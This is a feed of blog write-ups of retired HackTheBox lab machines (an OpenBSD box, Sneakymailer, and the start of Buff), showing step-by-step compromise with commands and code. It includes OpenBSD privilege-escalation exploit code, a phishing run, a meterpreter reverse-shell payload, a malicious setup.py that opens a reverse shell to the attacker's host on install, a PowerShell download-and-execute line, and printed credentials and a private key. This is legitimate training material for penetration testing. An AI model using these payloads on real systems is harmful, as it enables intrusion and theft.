user <code>-schallenge</code>. We want to authenticate as <code>jennifer</code>.</p>
<blockquote>
<p>OpenSSH key not found for user -schallenge</p>
</blockquote>
<p>We fire up Burp and add a <code>username=jennifier</code> cookie to our authentication
request.</p>
<div class="highlight"><pre><span></span><code>POST /index.php HTTP/1.1
Host: 10.10.10.199
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.199/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: close
Cookie: PHPSESSID=5j485ne4sih5h7dl0fk2f2e8g7;username=jennifer
Upgrade-Insecure-Requests: 1
username=-schallenge&password=q
</code></pre></div>
<p>We also add the cookie to the next request to <code>sshkey.php</code></p>
<div class="highlight"><pre><span></span><code>GET /sshkey.php HTTP/1.1
Host: 10.10.10.199
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.199/index.php
Connection: close
Cookie: PHPSESSID=jma32i3d8r5ob3lmo3hbgi741a;username=jennifer
Upgrade-Insecure-Requests: 1
</code></pre></div>
<p>The application directly give us Jennifer's SSH private key.</p>
<div class="highlight"><pre><span></span><code>-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
</code></pre></div>
<p>We can connect to the box using this key and get the user flag.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ ssh jennifer@10.10.10.199 -i id_rsa
<snip>
openkeys$ cat user.txt
36ab21239a15c537bde90626891d2b10
</snip></code></pre></div>
<h1>Root</h1>
<p>The articles used to bypass the authentication give us a few leads about the
privilege escalation.</p>
<div class="highlight"><pre><span></span><code>openkeys$ id
uid=1001(jennifer) gid=1001(jennifer) groups=1001(jennifer), 0(wheel)
</code></pre></div>
<p>We will use CVE-2019-19520 to gain access to the group <code>auth</code> and then use CVE-2019-19522
to get <code>root</code></p>
<h2>CVE-2019-19520</h2>
<p>First we create a temporary folder <code>/tmp/.plop</code> and create the file <code>swrast_dri.c</code>
with the following content:</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><paths.h></paths.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><sys types.h=""></sys></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><unistd.h></unistd.h></span>
<span class="k">static</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">__attribute__</span><span class="w"> </span><span class="p">((</span><span class="n">constructor</span><span class="p">))</span><span class="w"> </span><span class="n">_init</span><span class="w"> </span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">gid_t</span><span class="w"> </span><span class="n">rgid</span><span class="p">,</span><span class="w"> </span><span class="n">egid</span><span class="p">,</span><span class="w"> </span><span class="n">sgid</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">getresgid</span><span class="p">(</span><span class="o">&</span><span class="n">rgid</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">egid</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">sgid</span><span class="p">)</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="n">_exit</span><span class="p">(</span><span class="n">__LINE__</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">setresgid</span><span class="p">(</span><span class="n">sgid</span><span class="p">,</span><span class="w"> </span><span class="n">sgid</span><span class="p">,</span><span class="w"> </span><span class="n">sgid</span><span class="p">)</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="n">_exit</span><span class="p">(</span><span class="n">__LINE__</span><span class="p">);</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="n">argv</span><span class="p">[]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">_PATH_KSHELL</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="w"> </span><span class="p">};</span>
<span class="w"> </span><span class="n">execve</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span><span class="w"> </span><span class="n">argv</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">);</span>
<span class="w"> </span><span class="n">_exit</span><span class="p">(</span><span class="n">__LINE__</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>
<p>We then compile it and run the command to get access to the <code>auth</code> group. <em>As
the author of the box implemented so cleanup script the commands needs to be run
"quickly"</em>:</p>
<div class="highlight"><pre><span></span><code>openkeys$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c
Personal note: The two command need to be "quickly run"
openkeys$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 &
[1] 42553
openkeys$ _XSERVTransmkdir: ERROR: euid != 0,directory /tmp/.X11-unix will not be created.
env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66
openkeys$ id
uid=1001(jennifer) gid=11(auth) groups=1001(jennifer), 0(wheel)
</code></pre></div>
<p>As we are now in the <code>auth</code> group we can use the CVE-2019-19522.</p>
<h2>CVE-2019-19522</h2>
<p>We just put the command as specified in the article and get the root flag (the
Password is not printed so I put it between bracket).</p>
<div class="highlight"><pre><span></span><code>openkeys$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root
openkeys$ chmod 0600 /etc/skey/root
openkeys$ env -i TERM=vt220 su -l -a skey
otp-md5 99 obsd91335
S/Key Password: [EGG LARD GROW HOG DRAG LAIN]
openkeys# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
openkeys# cat /root/root.txt
f3a553b1697050ae885e7c02dbfc6efa
</code></pre></div>
<h1>Wrapping up</h1>
<p>This box was quit easy once the <a href="https://www.qualys.com/2019/12/04/cve-2019-19521/authentication-vulnerabilities-openbsd.txt">qualys article</a>
was found. I was hoping for more specific OpenBSD content. Nevertheless this
was a fun box to root. I will probably recommend this box to beginners.</p>HTB: Sneakymailer2020-12-03T07:20:00+01:002020-12-03T07:20:00+01:00maggicktag:maggick.fr,2020-12-03:/2020/12/htb-sneakymailer.html<p><img alt="Sneakymailer Card" class="align-left" src="/media/2020.12/sneakymailer_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/262">Sneakymailer</a> publish on
July 11, 2020 by
<a href="https://www.hackthebox.com/home/users/profile/106709">sulcud</a>.
This box is rated as a medium box. It implies some phishing, an IMAP server, a
FTP server, Pypi and sudo.</p>
<p><img alt="Sneakymailer Card" class="align-left" src="/media/2020.12/sneakymailer_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/262">Sneakymailer</a> publish on
July 11, 2020 by
<a href="https://www.hackthebox.com/home/users/profile/106709">sulcud</a>.
This box is rated as a medium box. It implies some phishing, an IMAP server, a
FTP server, Pypi and sudo.</p>
<h1>Foothold</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Sat Jul 25 03:42:58 2020 as: nmap -p- -sSV -oN nmap 10.10.10.197
Nmap scan report for 10.10.10.197
Host is up (0.079s latency).
Not shown: 65528 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http nginx 1.14.2
143/tcp open imap Courier Imapd (released 2018)
993/tcp open ssl/imap Courier Imapd (released 2018)
8080/tcp open http nginx 1.14.2
Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre></div>
<p>There is a few open ports:</p>
<ul>
<li>21 FTP</li>
<li>22 SSH</li>
<li>25 SMTPD (email)</li>
<li>80 Nginx (web)</li>
<li>143 imap (mail)</li>
<li>993 imap/ssl (mail)</li>
<li>8080 nginx (mail)</li>
</ul>
<h2>Web</h2>
<p>When browsing the website we notice a list of email addresses. We copy them to a
file an use <code>cut -f 4</code> to get a proper list with the email only.</p>
<p>Nothing else on the website seems of interest.</p>
<h2>Phishing</h2>
<p>As the port 25 is open, we can send email to the server.
Our phishing email will contain a simple
link to our machine <code>http://10.10.14.11:8080/test</code>:</p>
<div class="highlight"><pre><span></span><code>Hey try that:
http://10.10.14.11:8000/test
HF
</code></pre></div>
<p>We use <a href="https://github.com/jetmore/swaks">swaks</a>
in order to automatically send our phishing email:</p>
<div class="highlight"><pre><span></span><code>while read l; do swaks --to $l --server 10.10.10.197 --body email; done <emails <="" code=""></emails></code></pre></div>
<p>We run a <code>netcat</code> listener on port 8080 in order to see the incoming requests and
got some POST request containing a username and a password.</p>
<div class="highlight"><pre><span></span><code>nc -l -p 8000
POST /test%0D HTTP/1.1
Host: 10.10.14.11:8000
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded
firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
</code></pre></div>
<h2>Evolution</h2>
<p>It took me quit a long time to understand what these credentials where for. But
as the IMAP port is open we can connect to it with a mail client. We launch
evolution (already installed on Kali Linux) and configure it with the previous
information (note that the user is <code>paulbyrd</code>).</p>
<p>We found two emails in the <code>sent</code> directory. The first on contain a password for
the <code>developer</code> account.</p>
<blockquote>
<p>Hello administrator, I want to change this password for the developer account</p>
<p>Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C</p>
<p>Please notify me when you do it</p>
</blockquote>
<p>The second one is a address to <code>low</code> and give us some hint about one of the next step.</p>
<blockquote>
<p>Hello low</p>
<p>Your current task is to install, test and then erase every python module you
find in our PyPI service, let me know if you have any inconvenience.</p>
</blockquote>
<h2>FTP</h2>
<p>The <code>developer</code> account credentials allow us to connect to the FTP service. We
see that we can write on the <code>dev</code> folder.</p>
<p>This also take me some time to figure out but we can access our uploaded file on
the <code>dev</code> environment accessible at <a href="http://dev.sneakycorp.htb/test">http://dev.sneakycorp.htb/test</a>.</p>
<p>Therefore we generate a simple PHP <code>meterpreter</code> using <code>msfvenom</code>: <code>msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.16 LPORT=4444 -f raw > lol.php</code>
and upload it on the FTP server.</p>
<div class="highlight"><pre><span></span><code>write on ftp dev (webshell)
kali@kali:~$ ftp 10.10.10.197
Connected to 10.10.10.197.
220 (vsFTPd 3.0.3)
Name (10.10.10.197:kali): developer
331 Please specify the password.
Password:
230 Login successful.
ftp> cd dev
250 Directory successfully changed.
ftp> put lol.php
local: lol.php remote: lol.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
30687 bytes sent in 0.00 secs (7.3772 MB/s)
</code></pre></div>
<p>We run the <code>metasploit</code> handler and trigger our payload by browsing to <a href="http://dev.sneakycorp.htb/lol.php">http://dev.sneakycorp.htb/lol.php</a>.
This get us a shell as <code>www-data</code>.</p>
<div class="highlight"><pre><span></span><code>meterpreter > getuid
Server username: www-data (33)
</code></pre></div>
<h1>User</h1>
<h2>John</h2>
<p>We browse the file system and found some <code>pypi</code> sub domain and a <code>.htpasswd</code> file
containing an encrypted password.</p>
<div class="highlight"><pre><span></span><code>meterpreter > ls
Listing: /var/www/pypi.sneakycorp.htb
=====================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 43 fil 2020-05-15 14:29:53 -0400 .htpasswd
40770/rwxrwx--- 4096 dir 2020-08-07 07:12:52 -0400 packages
40755/rwxr-xr-x 4096 dir 2020-05-14 18:25:43 -0400 venv
meterpreter > cat .htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
</code></pre></div>
<p>We run <code>john</code> and the <code>rockyou</code> dictionary on it.</p>
<div class="highlight"><pre><span></span><code>$ john hash -w=~/tools/password_lists/rockyou.txt --fork=8
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-opencl"
Use the "--format=md5crypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Warning: OpenMP was disabled due to --fork; a non-OpenMP build may be faster
Node numbers 1-8 of 8 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
4 0g 0:00:00:05 5.58% (ETA: 14:16:12) 0g/s 19731p/s 19731c/s 19731C/s jeanix..jbhunt
soufianeelhaoui (pypi)
</code></pre></div>
<h2>PyPi</h2>
<p>This new credentials set allows us to access the <a href="https://pypi.org/">PyPi</a>
server located at
<a href="http://pypi.sneakycorp.htb:8080/">http://pypi.sneakycorp.htb:8080/</a>.</p>
<p>I had never made a Python package, neither use that in order to get a reverse
shell. A read a few <a href="https://medium.com/@joel.barmettler/how-to-upload-your-python-package-to-pypi-65edc5fe9c56">article about make and uploading package to pypi</a>.</p>
<p>We then construct a specific package with a reverse shell code in <code>setup.py</code>.
The structure of the package is the following.</p>
<div class="highlight"><pre><span></span><code>package
├── build
│ └── lib.linux-x86_64-2.7
│ └── plop
│ ├── __init__.py
│ └── plop.py
├── dist
│ └── plop-0.3.tar.gz
├── LICENSE.txt
├── MANIFEST
├── plop
│ ├── __init__.py
│ └── plop.py
├── plop.egg-info
│ ├── dependency_links.txt
│ ├── PKG-INFO
│ ├── SOURCES.txt
│ └── top_level.txt
├── README
├── setup.cfg
└── setup.py
</code></pre></div>
<p>The code in <code>setup.py</code> is:</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">setuptools</span> <span class="kn">import</span> <span class="n">setup</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">pty</span>
<span class="kn">from</span> <span class="nn">setuptools.command.install</span> <span class="kn">import</span> <span class="n">install</span>
<span class="kn">import</span> <span class="nn">getpass</span>
<span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">'http://10.10.14.11:8000/boom'</span><span class="p">)</span>
<span class="k">if</span> <span class="n">getpass</span><span class="o">.</span><span class="n">getuser</span><span class="p">()</span> <span class="o">!=</span> <span class="s1">'kali'</span><span class="p">:</span>
<span class="n">s</span><span class="o">=</span><span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">()</span>
<span class="n">s</span><span class="o">.</span><span class="n">connect</span><span class="p">((</span><span class="s1">'10.10.14.11'</span><span class="p">,</span><span class="mi">4444</span><span class="p">))</span>
<span class="p">[</span><span class="n">os</span><span class="o">.</span><span class="n">dup2</span><span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">fileno</span><span class="p">(),</span><span class="n">fd</span><span class="p">)</span> <span class="k">for</span> <span class="n">fd</span> <span class="ow">in</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">)];</span><span class="n">pty</span><span class="o">.</span><span class="n">spawn</span><span class="p">(</span><span class="s2">"/bin/sh"</span><span class="p">)</span>
<span class="n">setup</span><span class="p">(</span>
<span class="n">name</span> <span class="o">=</span> <span class="s1">'plop'</span><span class="p">,</span> <span class="c1"># How you named your package folder (MyLib)</span>
<span class="n">packages</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'plop'</span><span class="p">],</span> <span class="c1"># Chose the same as "name"</span>
<span class="n">version</span> <span class="o">=</span> <span class="s1">'0.3'</span><span class="p">,</span> <span class="c1"># Start with a small number and increase it with every change you make</span>
<span class="n">license</span><span class="o">=</span><span class="s1">'MIT'</span><span class="p">,</span> <span class="c1"># Chose a license from here: https://help.github.com/articles/licensing-a-repository</span>
<span class="n">cmdclass</span><span class="o">=</span><span class="p">{</span><span class="s1">'install'</span><span class="p">:</span> <span class="n">CustomInstall</span><span class="p">},</span>
<span class="p">)</span>
</code></pre></div>
<p>We build our package with <code>python setup.py sdist</code> and upload it to the PyPi
server with <code>twine</code>:</p>
<div class="highlight"><pre><span></span><code>twine upload --repository-url http://pypi.sneakycorp.htb:8080/ dist/* --verbose
</code></pre></div>
<p>At the same time we run a <code>netcat</code> listener on our Kali box and wait for the
shell. We then have a shell as <code>low</code> and can access the user flag.</p>
<div class="highlight"><pre><span></span><code>nc -l -p 4444
$ id
id
uid=1000(low) gid=1000(low) groups=1000(low),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),119(pypi-pkg)
$ cat ~/user.txt
cat ~/user.txt
73592699b63e47969c6de934654c2325
</code></pre></div>
<h1>Root</h1>
<p>We put our ssh public key in the <code>.ssh/authorized_keys</code> file and connect to the
box using SSH and run <code>sudo -l</code>. We found that we can run <code>pip3</code> as root without
password.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ ssh low@10.10.10.197
low@sneakymailer:~$ sudo -l
^C^C^Csudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User low may run the following commands on sneakymailer:
(root) NOPASSWD: /usr/bin/pip3
</code></pre></div>
<p>We look at the <a href="https://gtfobins.github.io/gtfobins/pip/#sudo">GTFObins page for pip</a>
and run the commands to create a temporary directory, write a simple <code>setup.py</code>
script executing a shell and installing this "script" as root which give us a
<code>root</code> shell and allow us to read the <code>root</code> flag.</p>
<div class="highlight"><pre><span></span><code>low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$ sudo /usr/bin/pip3 install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.FVBLBZ1NUO
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
3d8f51cb4506c19d77aea84d76e6a846
</code></pre></div>
<h1>Wrapping up</h1>
<p>The root part was really classic and easy. The user part was awesome! I learn so
much on this box and the conception is clearly different from classical boxes as
their is a lot of "interaction" with the "users" (phishing, pypi).</p>
<p>I clearly recommend this box for an "unexpected" journey.</p>HTB: Buff2020-11-22T12:41:00+01:002020-11-22T12:41:00+01:00maggicktag:maggick.fr,2020-11-22:/2020/11/htb-buff.html<p><img alt="Buff card" class="align-left" src="/media/2020.11/buff_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/263">Buff</a> published on
July 18 2020
<a href="https://www.hackthebox.com/home/users/profile/94858">egotisticalSW</a>
This box is classified as an easy machine.
The user part just require to exploit a CVE. The root part require first to
pivot to access the box's internal services then exploit another CVE.</p>
<p><img alt="Buff card" class="align-left" src="/media/2020.11/buff_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/263">Buff</a> published on
July 18 2020
<a href="https://www.hackthebox.com/home/users/profile/94858">egotisticalSW</a>
This box is classified as an easy machine.
The user part just require to exploit a CVE. The root part require first to
pivot to access the box's internal services then exploit another CVE.</p>
<h1>User</h1>
<h2>Recon</h2>
<p>We start with an nmap scan. Despite being a Windows boxes, only a few services
are exposed: A port 8080 for an HTTP service and a port 7680 (probably another
HTB user port as we will see at the end of this writeup).</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Sat Jul 25 08:59:16 2020 as: nmap -p- -sSV -oN nmap 10.10.10.198
Nmap scan report for 10.10.10.198
Host is up (0.16s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
7680/tcp open pando-pub?
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
</code></pre></div>
<h2>Web</h2>
<p>The website is a promotional website for a Gym.</p>
<p><img alt="Buff homepage" class="image-process-article-image" src="/media/2020.11/derivatives/article-image/buff_01.png"/></p>
<p>We browse the site and found the <a href="http://10.10.10.198:8080/contact.php">contact page</a>.
On it we can read that the site was "Made using Gym Management Software 1.0".</p>
<p>Despite the site looking like a homemade site for the purpose of the box, this
is really a public product with a exploit available.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ searchsploit Gym Management
------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------ ---------------------------------
Gym Management System 1.0 - Unauthenticated RCE | php/webapps/48506.py
------------------------------------------------ ---------------------------------
</code></pre></div>
<p>We run the exploit, see who we are and get the user flag.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ python2 48506.py http://10.10.10.198:8080/
/\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
\/
[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload>
C:\xampp\htdocs\gym\upload> whoami
�PNG
�
buff\shaun
C:\xampp\htdocs\gym\upload> type "C:\Users\shaun\Desktop\user.txt"
�PNG
�
6c675c6c581ec9341b8ed8717c537e32
</code></pre></div>
<h1>root</h1>
<p>We can use our limited shell to download exec from our kali box (running a
simple python HTTP server) and execute them. For instance we can run
<a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS">winPEAS</a></p>
<div class="highlight"><pre><span></span><code>C:\xampp\htdocs\gym\upload> powershell -exec bypass -c "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.24:8080/winPEAS.exe', '.\winPEAS.exe')
C:\xampp\htdocs\gym\upload> .\winPEAS.exe
<snip>
</snip></code></pre></div>
<h2>Cloudme</h2>
<p>Still browsing our user's folders we found an specific binary in <code>Downloads</code>:
<code>CloudMe_1112.exe</code>.</p>
<div class="highlight"><pre><span></span><code>C:\xampp\htdocs\gym\upload> dir "C:\Users\Shaun\Downloads"
�PNG
�
Volume in drive C has no label.
Volume Serial Number is A22D-49F7
Directory of C:\Users\Shaun\Downloads
14/07/2020 13:27 <dir> .
14/07/2020 13:27 <dir> ..
16/06/2020 16:26 17,830,824 CloudMe_1112.exe
1 File(s) 17,830,824 bytes
2 Dir(s) 9,639,174,144 bytes free
</dir></dir></code></pre></div>
<p>This also is a public software with some exploit available. For our specific
version (1.11.2), only four exploits applies.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ searchsploit cloudme
---------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------- ---------------------------------
CloudMe 1.11.2 - Buffer Overflow (PoC) | windows/remote/48389.py
CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASL | windows/local/48499.txt
Cloudme 1.9 - Buffer Overflow (DEP) (Metasplo | windows_x86-64/remote/45197.rb
CloudMe Sync 1.10.9 - Buffer Overflow (SEH)(D | windows_x86-64/local/45159.py
CloudMe Sync 1.10.9 - Stack-Based Buffer Over | windows/remote/44175.rb
CloudMe Sync 1.11.0 - Local Buffer Overflow | windows/local/44470.py
CloudMe Sync 1.11.2 - Buffer Overflow + Egghu | windows/remote/46218.py
CloudMe Sync 1.11.2 Buffer Overflow - WoW64 ( | windows_x86-64/remote/46250.py
CloudMe Sync < 1.11.0 - Buffer Overflow | windows/remote/44027.py
CloudMe Sync < 1.11.0 - Buffer Overflow (SEH) | windows_x86-64/remote/44784.py
---------------------------------------------- ---------------------------------
</code></pre></div>
<p>But as we saw earlier only the port 8080 is open on the box. The <code>CloudMe</code>
software is only running locally on the box. We need to use some pivoting
technique to access the internal box services in order to use the exploit
<code>44470.py</code>.</p>
<div class="highlight"><pre><span></span><code><span class="c1">#######################################################</span>
<span class="c1"># Exploit Title: Local Buffer Overflow on CloudMe Sync v1.11.0</span>
<span class="c1"># Date: 08.03.2018</span>
<span class="c1"># Vendor Homepage: https://www.cloudme.com/en</span>
